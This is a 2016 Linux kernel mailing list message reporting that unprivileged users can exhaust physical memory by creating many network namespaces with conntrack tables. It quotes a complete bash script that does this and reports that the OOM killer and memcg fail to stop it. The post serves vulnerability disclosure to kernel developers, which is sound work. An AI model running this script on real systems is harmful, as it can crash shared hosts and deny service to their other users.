linux-kernel - Re: userns, netns, and quick physical memory consumption by unprivileged user

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Message-ID: <m3r3fhhx4c.fsf@gmail.com>
Date:	Fri, 11 Mar 2016 18:06:59 +0300
From:	yumkam@...il.com (Yuriy M. Kaminskiy)
To:	linux-kernel@...r.kernel.org
Cc:	netdev@...r.kernel.org, linux-kernel@...r.kernel.org
Subject: Re: userns, netns, and quick physical memory consumption by unprivileged user

ping (+ more test results at bottom)

On Wed, 02 Mar 2016, I wrote:

> While looking at CVE-2016-2847, I remembered about infamous
>     nf_conntrack: falling back to vmalloc
> message, that was often triggered by network namespace creation (message
> was removed recently, but it changed nothing with underlying problem).
>
> So, how about something like this:
>
> $ cat << EOF >> eatphysmem
> #!/bin/bash -xe
> fd=6
> d="`mktemp -d /tmp/eatmemXXXXXXXXX`"
> cd "$d"
> rule="iptables -A INPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT"
> # rule="$rule;$rule"
> # ... just because we can; same with any number of ip li/ro/ru/etc
> while :; do
>     let fd=fd+1
>     [ ! -e /proc/$$/fd/$fd ] || continue
>     mkfifo f1 f2
>     unshare -rn sh -xec "echo foo >f1;ip li se lo up; $rule;read r <f2" &
>     pid=$!
>     read r <f1
>     eval "exec $fd</proc/$pid/ns/net"
>     echo bar >f2
>     wait
>     rm f2 f1
>     free
>     sleep 0.1s
> done
> sleep inf
> EOF
> $ chmod a+x eatphysmem; unshare -rpf --mount-proc ./eatphysmem
> ?
>
> You can easily eat 0.5M physical memory per netns (conntrack hash table
> (hashsize*sizeof(list_head))) and more, and pin them to single process
> with opened netns fds.
> What can stop it?
> ulimit? What is ulimit? Conntrack knows nothing about them.
> Ah-yeah, `ulimit -n`? 64k. 64k*512k = 32G. Per process. Oh-uh.
> OOM killer? But this is not this process memory; if any, it will be
> killed last.
> (I wonder, if memcg can tackle it; probably yes; but how many people
> have it configured?).

I tested in vm with kernel 4.4.2 (from user account, with ulimit
-v 32768); as expected, it quickly eaten all memory, OOM killer went
berserk and killed even systemd-journald and systemd-udevd, but left
this process living (and hogging all physical memory; also note that
swap was enabled - and mostly remained unused).

And also tried with memcg:
  t=/sys/fs/cgroup/memory/test1;mkdir $t;echo 0 >$t/tasks;
  echo 48M >$t/memory.limit_in_bytes; su testuser [...]
and it has not helped at all (rather opposite, it ended up with killed
init and kernel panic; well, later is pure (un)luck; but point is, memcg
apparently *CANNOT* curb net/ns allocations).

BTW, all those hash/conntrack/etc default sizes was calculated from
physical memory size in assumption there will be only *one* instance of
those tables. Obviously, introduction of network namespaces (and
especially unprivileged user-ns) thrown this assumption in the window
(and here comes that "falling back to vmalloc" message again; in pre-netns
world, those tables were allocated *once* on early system startup, with
typically plenty of free and unfragmented memory).